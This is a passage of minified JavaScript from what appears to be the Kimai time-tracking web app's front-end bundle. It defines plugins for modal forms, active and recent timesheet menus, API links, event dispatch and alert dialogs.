n=i.apply(this,arguments);return Bt(this,n)}}function Bt(t,e){return!e||"object"!==jt(e)&&"function"!=typeof e?function(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}(t):e}function zt(t){return(zt=Object.setPrototypeOf?Object.getPrototypeOf:function(t){return t.__proto__||Object.getPrototypeOf(t)})(t)}var Nt=function(t){!function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function");t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),e&&$t(t,e)}(o,t);var e,n,i,r=Ht(o);function o(){return Rt(this,o),r.apply(this,arguments)}return e=o,(n=[{key:"_addClickHandler",value:function(t,e){_()("body").on("click",t,(function(t){if(!t.target.parentNode.isContentEditable&&!t.target.isContentEditable){var n=t.target;if(t.currentTarget.matches("tr")||t.currentTarget.matches("li"))for(;null!==n&&!n.matches("body");){if(n.matches("a")||n.matches("button")||n.matches("input"))return;n=n.parentNode}t.preventDefault(),t.stopPropagation();var i=_()(this).attr("data-href");i||(i=_()(this).attr("href")),null!=i&&""!==i&&e(i)}}))}}])&&It(e.prototype,n),i&&It(e,i),o}(l.a);function Wt(t){return(Wt="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function Ut(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function qt(t,e){return(qt=Object.setPrototypeOf||function(t,e){return t.__proto__=e,t})(t,e)}function Ft(t){var e=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(t){return!1}}();return function(){var n,i=Kt(t);if(e){var r=Kt(this).constructor;n=Reflect.construct(i,arguments,r)}else n=i.apply(this,arguments);return Vt(this,n)}}function Vt(t,e){return!e||"object"!==Wt(e)&&"function"!=typeof e?function(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}(t):e}function Kt(t){return(Kt=Object.setPrototypeOf?Object.getPrototypeOf:function(t){return t.__proto__||Object.getPrototypeOf(t)})(t)}var Gt=function(t){!function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function");t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),e&&qt(t,e)}(o,t);var e,n,i,r=Ft(o);function o(t){var e;return function(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}(this,o),(e=r.call(this)).selector=t,e}return e=o,(n=[{key:"init",value:function(){this._addClickHandler(this.selector,(function(t){window.location=t}))}}])&&Ut(e.prototype,n),i&&Ut(e,i),o}(Nt);function Jt(t){return(Jt="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function Zt(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function Qt(t,e){return(Qt=Object.setPrototypeOf||function(t,e){return t.__proto__=e,t})(t,e)}function Xt(t){var e=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(t){return!1}}();return function(){var n,i=ee(t);if(e){var r=ee(this).constructor;n=Reflect.construct(i,arguments,r)}else n=i.apply(this,arguments);return te(this,n)}}function te(t,e){return!e||"object"!==Jt(e)&&"function"!=typeof e?function(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}(t):e}function ee(t){return(ee=Object.setPrototypeOf?Object.getPrototypeOf:function(t){return t.__proto__||Object.getPrototypeOf(t)})(t)}var ne=function(t){!function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function");t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),e&&Qt(t,e)}(o,t);var e,n,i,r=Xt(o);function o(t){var e;return function(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}(this,o),(e=r.call(this)).selector=t,e}return e=o,(n=[{key:"getId",value:function(){return"modal"}},{key:"init",value:function(){var t=this;this.isDirty=!1,this.modal=_()("#remote_form_modal"),this.modal.on("hide.bs.modal",(function(e){if(t.isDirty){if(0===_()("#remote_form_modal .modal-body .remote_modal_is_dirty_warning").length){var n=t.getContainer().getTranslation().get("modal.dirty");_()("#remote_form_modal .modal-body").prepend('<p class="'+(t.modal.hasClass("modal-danger")?"well well-sm ":"")+'text-danger small remote_modal_is_dirty_warning">'+n+"</p>")}e.preventDefault()}else _()(t._getFormIdentifier()).off("change",t._isDirtyHandler),t.isDirty=!1,t.getContainer().getPlugin("event").trigger("modal-hide")})),this.modal.on("hidden.bs.modal",(function(){t.getContainer().getPlugin("form").destroyForm(t._getFormIdentifier()),_()("#remote_form_modal .modal-body").replaceWith("")})),this.modal.on("show.bs.modal",(function(){t.getContainer().getPlugin("event").trigger("modal-show")})),this.modal.on("shown.bs.modal",(function(){var e=_()(t._getFormIdentifier()).find("[autofocus]");e.length<1&&(e=_()(t._getFormIdentifier()).find("input[type=text],textarea,select")),e.filter(':not("[data-datetimepicker=on]")').filter(":visible:first").focus().delay(1e3).focus()})),this._addClickHandler(this.selector,(function(e){t.openUrlInModal(e)}))}},{key:"openUrlInModal",value:function(t,e){var n=this;void 0===e&&(e=function(e,n){void 0!==e.status&&403===e.status||(window.location=t)}),_.a.ajax({url:t,success:function(t){n._openFormInModal(t)},error:e})}},{key:"_getFormIdentifier",value:function(){return"#remote_form_modal .modal-content form"}},{key:"_openFormInModal",value:function(t){var e=this,n=this._getFormIdentifier(),i=_()(n),r=this.modal;i.off("submit"),_()(t).find("#form_modal .modal-content").length>0&&(r.on("hidden.bs.modal",(function(){r.hasClass("modal-danger")&&r.removeClass("modal-danger")})),_()(t).find("#form_modal").hasClass("modal-danger")&&r.addClass("modal-danger"),_()("#remote_form_modal .modal-content").replaceWith(_()(t).find("#form_modal .modal-content")),_()("#remote_form_modal [data-dismiss=modal]").on("click",(function(){e.isDirty=!1})),e.getContainer().getPlugin("form").activateForm(n));var o=_()(t).find("div.alert");o.length>0&&_()("#remote_form_modal .modal-body").prepend(o);var a=_.a.fn.modal.Constructor.prototype.enforceFocus;_.a.fn.modal.Constructor.prototype.enforceFocus=function(){},r.on("hidden.bs.modal",(function(){_.a.fn.modal.Constructor.prototype.enforceFocus=a})),r.modal("show"),i=_()(n),this._isDirtyHandler=function(t){e.isDirty=!0},i.on("change",this._isDirtyHandler),i.on("submit",(function(t){var o=_()(n+" button[type=submit]").button("loading"),a=i.attr("data-form-event"),s=e.getContainer().getPlugin("event"),l=e.getContainer().getPlugin("alert");t.preventDefault(),t.stopPropagation(),_.a.ajax({url:i.attr("action"),type:i.attr("method"),data:i.serialize(),success:function(t){o.button("reset");var n=_()(t).find("#form_modal .modal-content .has-error").length>0,c=_()(t).find("#form_modal .modal-content ul.list-unstyled li.text-danger").length>0,u=_()(t).find("div.alert-error").length>0;if(n||c||u)e._openFormInModal(t);else{s.trigger(a);var d=i.attr("data-msg-success");if(null==d){var f=_()(t).find("section.content div.row div.alert.alert-success");if(f.length>0){var h=f.contents();3===h.length&&(d=h[2].textContent)}}null==d&&(d="action.update.success"),e.isDirty=!1,r.modal("hide"),l.success(d)}return!1},error:function(t,e){var n=i.attr("data-msg-error");null==n&&(n="action.update.error"),t.responseJSON&&t.responseJSON.message?e=t.responseJSON.message:t.status&&t.statusText&&(e="["+t.status+"] "+t.statusText),l.error(n,e),setTimeout((function(){o.button("reset")}),1500)}})}))}}])&&Zt(e.prototype,n),i&&Zt(e,i),o}(Nt);n("ma9I");function ie(t){return(ie="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function re(t,e){var n;if("undefined"==typeof Symbol||null==t[Symbol.iterator]){if(Array.isArray(t)||(n=function(t,e){if(!t)return;if("string"==typeof t)return oe(t,e);var n=Object.prototype.toString.call(t).slice(8,-1);"Object"===n&&t.constructor&&(n=t.constructor.name);if("Map"===n||"Set"===n)return Array.from(t);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return oe(t,e)}(t))||e&&t&&"number"==typeof t.length){n&&(t=n);var i=0,r=function(){};return{s:r,n:function(){return i>=t.length?{done:!0}:{done:!1,value:t[i++]}},e:function(t){throw t},f:r}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var o,a=!0,s=!1;return{s:function(){n=t[Symbol.iterator]()},n:function(){var t=n.next();return a=t.done,t},e:function(t){s=!0,o=t},f:function(){try{a||null==n.return||n.return()}finally{if(s)throw o}}}}function oe(t,e){(null==e||e>t.length)&&(e=t.length);for(var n=0,i=new Array(e);n<e;n++)i[n]=t[n];return i}function ae(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function se(t,e){return(se=Object.setPrototypeOf||function(t,e){return t.__proto__=e,t})(t,e)}function le(t){var e=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(t){return!1}}();return function(){var n,i=ue(t);if(e){var r=ue(this).constructor;n=Reflect.construct(i,arguments,r)}else n=i.apply(this,arguments);return ce(this,n)}}function ce(t,e){return!e||"object"!==ie(e)&&"function"!=typeof e?function(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}(t):e}function ue(t){return(ue=Object.setPrototypeOf?Object.getPrototypeOf:function(t){return t.__proto__||Object.getPrototypeOf(t)})(t)}var de=function(t){!function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function");t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),e&&se(t,e)}(o,t);var e,n,i,r=le(o);function o(t,e){var n;return function(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}(this,o),(n=r.call(this)).selector=t,n.selectorEmpty=e,n}return e=o,(n=[{key:"getId",value:function(){return"active-records"}},{key:"init",value:function(){var t=document.querySelector(this.selector);if(null!==t){var e=t.querySelector("ul.dropdown-menu");this.attributes=e.dataset,this.itemList=e.querySelector("li > ul.menu"),this.label=t.querySelector("a > span.label");var n=this,i=function(){n.reloadActiveRecords()};document.addEventListener("kimai.timesheetUpdate",i),document.addEventListener("kimai.timesheetDelete",i),document.addEventListener("kimai.activityUpdate",i),document.addEventListener("kimai.activityDelete",i),document.addEventListener("kimai.projectUpdate",i),document.addEventListener("kimai.projectDelete",i),document.addEventListener("kimai.customerUpdate",i),document.addEventListener("kimai.customerDelete",i)}}},{key:"emptyList",value:function(){this.itemList.innerHTML=""}},{key:"_toggleMenu",value:function(t){var e=document.querySelector(this.selector),n=document.querySelector(this.selectorEmpty);e.style.display=t?"inline-block":"none",null!==n&&(n.style.display=t?"none":"inline-block")}},{key:"setEntries",value:function(t){if(this._toggleMenu(t.length>0),0===t.length)return this.label.innerText="",void this.emptyList();var e,n="",i=this.getContainer().getPlugin("timesheet-duration"),r=re(t);try{for(r.s();!(e=r.n()).done;){var o=e.value;n+="<li>"+'<a href="'.concat(this.attributes.href.replace("000",o.id),'" data-event="kimai.timesheetStop kimai.timesheetUpdate" class="api-link" data-method="PATCH" data-msg-error="timesheet.stop.error" data-msg-success="timesheet.stop.success">')+'<div class="pull-left">'+'<i class="'.concat(this.attributes.icon,' fa-2x"></i>')+"</div><h4>"+"<span>".concat(o.activity.name,"</span>")+"<small>"+'<span data-title="true" data-since="'.concat(o.begin,'">').concat(i.formatDuration(o.duration),"</span>")+"</small></h4>"+"<p>".concat(o.project.name," (").concat(o.project.customer.name,")</p>")+"</a></li>"}}catch(t){r.e(t)}finally{r.f()}this.label.dataset.warning<t.length?this.label.classList="label label-danger":this.label.classList="label label-warning",this.label.innerText=t.length,this.itemList.innerHTML=n,i.updateRecords()}},{key:"reloadActiveRecords",value:function(){var t=this;this.getContainer().getPlugin("api").get(this.attributes.api,{},(function(e){t.setEntries(e)}))}}])&&ae(e.prototype,n),i&&ae(e,i),o}(l.a);function fe(t){return(fe="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function he(t,e){var n;if("undefined"==typeof Symbol||null==t[Symbol.iterator]){if(Array.isArray(t)||(n=function(t,e){if(!t)return;if("string"==typeof t)return pe(t,e);var n=Object.prototype.toString.call(t).slice(8,-1);"Object"===n&&t.constructor&&(n=t.constructor.name);if("Map"===n||"Set"===n)return Array.from(t);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return pe(t,e)}(t))||e&&t&&"number"==typeof t.length){n&&(t=n);var i=0,r=function(){};return{s:r,n:function(){return i>=t.length?{done:!0}:{done:!1,value:t[i++]}},e:function(t){throw t},f:r}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var o,a=!0,s=!1;return{s:function(){n=t[Symbol.iterator]()},n:function(){var t=n.next();return a=t.done,t},e:function(t){s=!0,o=t},f:function(){try{a||null==n.return||n.return()}finally{if(s)throw o}}}}function pe(t,e){(null==e||e>t.length)&&(e=t.length);for(var n=0,i=new Array(e);n<e;n++)i[n]=t[n];return i}function me(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function ge(t,e){return(ge=Object.setPrototypeOf||function(t,e){return t.__proto__=e,t})(t,e)}function ye(t){var e=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(t){return!1}}();return function(){var n,i=be(t);if(e){var r=be(this).constructor;n=Reflect.construct(i,arguments,r)}else n=i.apply(this,arguments);return ve(this,n)}}function ve(t,e){return!e||"object"!==fe(e)&&"function"!=typeof e?function(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}(t):e}function be(t){return(be=Object.setPrototypeOf?Object.getPrototypeOf:function(t){return t.__proto__||Object.getPrototypeOf(t)})(t)}var we=function(t){!function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function");t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),e&&ge(t,e)}(o,t);var e,n,i,r=ye(o);function o(t){var e;return function(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}(this,o),(e=r.call(this)).selector=t,e}return e=o,(n=[{key:"getId",value:function(){return"recent-activities"}},{key:"init",value:function(){var t=document.querySelector(this.selector);if(null!==t){var e=t.querySelector("ul.dropdown-menu");this.attributes=e.dataset,this.itemList=e.querySelector("li > ul.menu");var n=this,i=function(){n.reloadRecentActivities()};setTimeout(i,500),document.addEventListener("kimai.recentActivities",i),document.addEventListener("kimai.timesheetUpdate",i),document.addEventListener("kimai.timesheetDelete",i),document.addEventListener("kimai.activityUpdate",i),document.addEventListener("kimai.activityDelete",i),document.addEventListener("kimai.projectUpdate",i),document.addEventListener("kimai.projectDelete",i),document.addEventListener("kimai.customerUpdate",i),document.addEventListener("kimai.customerDelete",i)}}},{key:"emptyList",value:function(){this.itemList.innerHTML=""}},{key:"setEntries",value:function(t){if(0!==t.length){var e,n="",i=he(t);try{for(i.s();!(e=i.n()).done;){var r=e.value,o=this.attributes.template.replace("%customer%",r.project.customer.name).replace("%project%",r.project.name).replace("%activity%",r.activity.name);n+="<li>"+'<a href="'.concat(this.attributes.href.replace("000",r.id),'" data-event="kimai.timesheetStart kimai.timesheetUpdate" class="api-link" data-method="PATCH" data-msg-error="timesheet.start.error" data-msg-success="timesheet.start.success">')+'<i class="'.concat(this.attributes.icon,'"></i> ').concat(o)+"</a></li>"}}catch(t){i.e(t)}finally{i.f()}this.itemList.innerHTML=n}else this.emptyList()}},{key:"reloadRecentActivities",value:function(){var t=this;this.getContainer().getPlugin("api").get(this.attributes.api,{},(function(e){t.setEntries(e)}))}}])&&me(e.prototype,n),i&&me(e,i),o}(l.a);function _e(t){return(_e="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function ke(t,e){var n;if("undefined"==typeof Symbol||null==t[Symbol.iterator]){if(Array.isArray(t)||(n=function(t,e){if(!t)return;if("string"==typeof t)return xe(t,e);var n=Object.prototype.toString.call(t).slice(8,-1);"Object"===n&&t.constructor&&(n=t.constructor.name);if("Map"===n||"Set"===n)return Array.from(t);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return xe(t,e)}(t))||e&&t&&"number"==typeof t.length){n&&(t=n);var i=0,r=function(){};return{s:r,n:function(){return i>=t.length?{done:!0}:{done:!1,value:t[i++]}},e:function(t){throw t},f:r}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var o,a=!0,s=!1;return{s:function(){n=t[Symbol.iterator]()},n:function(){var t=n.next();return a=t.done,t},e:function(t){s=!0,o=t},f:function(){try{a||null==n.return||n.return()}finally{if(s)throw o}}}}function xe(t,e){(null==e||e>t.length)&&(e=t.length);for(var n=0,i=new Array(e);n<e;n++)i[n]=t[n];return i}function Se(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function De(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function Me(t,e){return(Me=Object.setPrototypeOf||function(t,e){return t.__proto__=e,t})(t,e)}function Te(t){var e=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(t){return!1}}();return function(){var n,i=Le(t);if(e){var r=Le(this).constructor;n=Reflect.construct(i,arguments,r)}else n=i.apply(this,arguments);return Ce(this,n)}}function Ce(t,e){return!e||"object"!==_e(e)&&"function"!=typeof e?function(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}(t):e}function Le(t){return(Le=Object.setPrototypeOf?Object.getPrototypeOf:function(t){return t.__proto__||Object.getPrototypeOf(t)})(t)}var Oe=function(t){!function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function");t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),e&&Me(t,e)}(o,t);var e,n,i,r=Te(o);function o(){return Se(this,o),r.apply(this,arguments)}return e=o,(n=[{key:"getId",value:function(){return"event"}},{key:"trigger",value:function(t,e){if(null!=t){var n,i=ke(t.split(" "));try{for(i.s();!(n=i.n()).done;){var r=n.value,o=new Event(r);void 0!==e&&(o=new CustomEvent(r,{detail:e})),document.dispatchEvent(o)}}catch(t){i.e(t)}finally{i.f()}}}}])&&De(e.prototype,n),i&&De(e,i),o}(l.a);function Ee(t){return(Ee="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function Pe(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function Ae(t,e){return(Ae=Object.setPrototypeOf||function(t,e){return t.__proto__=e,t})(t,e)}function Ye(t){var e=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(t){return!1}}();return function(){var n,i=Re(t);if(e){var r=Re(this).constructor;n=Reflect.construct(i,arguments,r)}else n=i.apply(this,arguments);return je(this,n)}}function je(t,e){return!e||"object"!==Ee(e)&&"function"!=typeof e?function(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}(t):e}function Re(t){return(Re=Object.setPrototypeOf?Object.getPrototypeOf:function(t){return t.__proto__||Object.getPrototypeOf(t)})(t)}var Ie=function(t){!function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function");t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),e&&Ae(t,e)}(o,t);var e,n,i,r=Ye(o);function o(t){var e;return function(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}(this,o),(e=r.call(this)).selector=t,e}return e=o,(n=[{key:"init",value:function(){var t=this;document.addEventListener("click",(function(e){for(var n=e.target;null!==n&&!n.matches("body");)n.classList.contains(t.selector)&&function(){var i=n.dataset,r=i.href;r||(r=n.getAttribute("href")),void 0!==i.question?t.getContainer().getPlugin("alert").question(i.question,(function(e){e&&t._callApi(r,i)})):t._callApi(r,i),e.preventDefault(),e.stopPropagation()}(),n=n.parentNode}))}},{key:"_callApi",value:function(t,e){var n=e.method,i=e.event,r=this.getContainer().getPlugin("api"),o=this.getContainer().getPlugin("event"),a=this.getContainer().getPlugin("alert"),s=function(t){o.trigger(i),e.msgSuccess&&a.success(e.msgSuccess)},l=function(t,n){var i="action.update.error";e.msgError&&(i=e.msgError),r.handleError(i,t,n)};if("PATCH"===n){var c={};e.payload&&(c=e.payload),r.patch(t,c,s,l)}else if("POST"===n){var u={};e.payload&&(u=e.payload),r.post(t,u,s,l)}else"DELETE"===n&&r.delete(t,s,l)}}])&&Pe(e.prototype,n),i&&Pe(e,i),o}(l.a),$e=n("PSD3"),He=n.n($e);function Be(t){return(Be="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function ze(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function Ne(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function We(t,e){return(We=Object.setPrototypeOf||function(t,e){return t.__proto__=e,t})(t,e)}function Ue(t){var e=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(t){return!1}}();return function(){var n,i=Fe(t);if(e){var r=Fe(this).constructor;n=Reflect.construct(i,arguments,r)}else n=i.apply(this,arguments);return qe(this,n)}}function qe(t,e){return!e||"object"!==Be(e)&&"function"!=typeof e?function(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}(t):e}function Fe(t){return(Fe=Object.setPrototypeOf?Object.getPrototypeOf:function(t){return t.__proto__||Object.getPrototypeOf(t)})(t)}var Ve=function(t){!function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function");t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),e&&We(t,e)}(o,t);var e,n,i,r=Ue(o);function o(){return ze(this,o),r.apply(this,arguments)}return e=o,(n=[{key:"getId",value:function(){return"alert"}},{key:"error",value:function(t,e){var n=this.getContainer().getTranslation();n.has(t)&&(t=n.get(t)),n.has(e)&&(e=n.get(e)),Array.isArray(e)?He.a.fire({icon:"error",title:t.replace("%reason%",""),html:e.join("<br>")}):He.a.fire({icon:"error",title:t.replace("%reason%",""),text:e})}},{key:"warning",value:function(t){this._show("warning",t)}},{key:"success",value:function(t){this._toast("success",t)}},{key:"info",value:function(t){this._show("info",t)}},{key:"_show",value:function(t,e){var n=this.getContainer().getTranslation();n.has(e)&&(e=n.get(e)),He.a.fire({icon:t,title:e})}},{key:"_toast",value:function(t,e){var n=this.getContainer().getTranslation();n.has(e)&&(e=n.get(e)),He.a.fire({timer:2e3,timerProgressBar:!0,toast:!0,position:"top",showConfirmButton:!1,icon:t,title:e})}},{key:"question",value:function(t,e){var n=this.getContainer().getTranslation();n.has(t)&&(t=n.get(t)),He.a.fire({title:t,icon:"question",showCancelButton:!0,confirmButtonText:n.get("confirm"),cancelButtonText:n.get("cancel")}).then((function(t){e(t.value)}))}}])&&Ne(e.prototype,n),i&&Ne(e,i),o}(l.a),Ke=n("TX00"),Ge=n("5+3N");function Je(t){return(Je="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function Ze(t,e){var n;if("undefined"==typeof Symbol||null==t[Symbol.iterator]){if(Array.isArray(t)||(n=function(t,e){if(!t)return;if("string"==typeof t)return Qe(t,e);var n=Object.prototype.toString.call(t).slice(8,-1);"Object"===n&&t.constructor&&(n=t.constructor.name);if("Map"===n||"Set"===n)return Array.from(t);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return Qe(t,e)}(t))||e&&t&&"number"==typeof t.length){n&&(t=n);var i=0,r=function(){};return{s:r,n:function(){return i>=t.length?{done:!0}:{done:!1,value:t[i++]}},e:function(t){throw t},f:r}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var o,a=!0,s=!1;return{s:function(){n=t[Symbol.iterator]()},n:function(){var t=n.next();return a=t.done,t},e:function(t){s=!0,o=t},f:function(){try{a||null==n.return||n.return()}finally{if(s)throw o}}}}function Qe(t,e){(null==e||e>t.length)&&(e=t.length);for(var n=0,i=new Array(e);n<e;n++)i[n]=t[n];return i}function Xe(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function tn(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function en(t,e){return(en=Object.setPrototypeOf||function(t,e){return t.__proto__=e,t})(t,e)}function nn(t){var e=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(t){return!1}}();return function(){var n,i=on(t);if(e){var r=on(this).constructor;n=Reflect.construct(i,arguments,r)}else n=i.apply(this,arguments);return rn(this,n)}}function rn(t,e){return!e||"object"!==Je(e)&&"function"!=typeof e?function(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}(t):e}function on(t){return(on=Object.setPrototypeOf?Object.getPrototypeOf:function(t){return t.__proto__||Object.getPrototypeOf(t)})(t)}var an=function(t){!function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function");t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),e&&en(t,e)}(o,t);var e,n,i,r=nn(o);function o(){return Xe(this,o),r.apply(this,arguments)}return e=o,(n=[{key:"getId",value:function(){return"form"}},{key:"activateForm",value:function(t,e){this.getContainer().getPlugin("date-range-picker").activateDateRangePicker(t),this.getContainer().getPlugin("date-time-picker").activateDateTimePicker(t),this.getContainer().getPlugin("date-picker").activateDatePicker(t),this.getContainer().getPlugin("autocomplete").activateAutocomplete(t),this.getContainer().getPlugin("form-select").activateSelectPicker(t,e)}},{key:"destroyForm",value:function(t){this.getContainer().getPlugin("form-select").destroySelectPicker(t),this.getContainer().getPlugin("autocomplete").destroyAutocomplete(t),this.getContainer().getPlugin("date-picker").destroyDatePicker(t),this.getContainer().getPlugin("date-time-picker").destroyDateTimePicker(t),this.getContainer().getPlugin("date-range-picker").destroyDateRangePicker(t)}},{key:"getFormData",value:function(t){for(var e=[],n=0;n<t.elements.length;n++){var i=t.elements[n];if(i.name&&!i.disabled&&"file"!==i.type&&"reset"!==i.type&&"submit"!==i.type&&"button"!==i.type)if("select-multiple"===i.type)for(var r=0;r<i.options.length;r++)i.options[r].selected&&e.push({name:i.name,value:i.options[r].value});else("checkbox"!==i.type&&"radio"!==i.type||i.checked)&&e.push({name:i.name,value:i.value})}return e}},{key:"convertFormDataToQueryString",value:function(t){var e,n=[],i=Ze(t);try{for(i.s();!(e=i.n()).done;){var r=e.value;n.push(encodeURIComponent(r.name)+"="+encodeURIComponent(r.value))}}catch(t){i.e(t)}finally{i.f()}return n.join("&")}}])&&tn(e.prototype,n),i&&tn(e,i),o}(l.a);function 